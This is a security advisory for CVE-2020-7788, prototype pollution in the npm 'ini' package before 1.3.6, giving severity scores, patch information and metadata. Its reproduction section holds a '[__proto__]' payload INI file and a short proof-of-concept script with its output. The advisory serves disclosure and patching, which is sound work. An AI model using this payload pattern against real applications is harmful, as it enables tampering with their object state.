CVE-2020-7788 – ini

Package

Manager: npm
Name: ini
Vulnerable Version: >=0 <1.3.6

Severity

Level: High

CVSS v3.1: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

CVSS v4.0: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N

EPSS: 0.00291 pctl0.52072

Details

ini before 1.3.6 vulnerable to Prototype Pollution via ini.parse ### Overview The `ini` npm package before version 1.3.6 has a Prototype Pollution vulnerability. If an attacker submits a malicious INI file to an application that parses it with `ini.parse`, they will pollute the prototype on the application. This can be exploited further depending on the context. ### Patches This has been patched in 1.3.6. ### Steps to reproduce payload.ini ``` [__proto__] polluted = "polluted" ``` poc.js: ``` var fs = require('fs') var ini = require('ini') var parsed = ini.parse(fs.readFileSync('./payload.ini', 'utf-8')) console.log(parsed) console.log(parsed.__proto__) console.log(polluted) ``` ``` > node poc.js {} { polluted: 'polluted' } { polluted: 'polluted' } polluted ```

Metadata

Created: 2020-12-10T16:53:45Z
Modified: 2022-12-03T03:55:11Z
Source: https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2020/12/GHSA-qqgx-2p2h-9c37/GHSA-qqgx-2p2h-9c37.json
CWE IDs: ["CWE-1321"]
Alternative ID: GHSA-qqgx-2p2h-9c37
Finding: F390
Auto approve: 1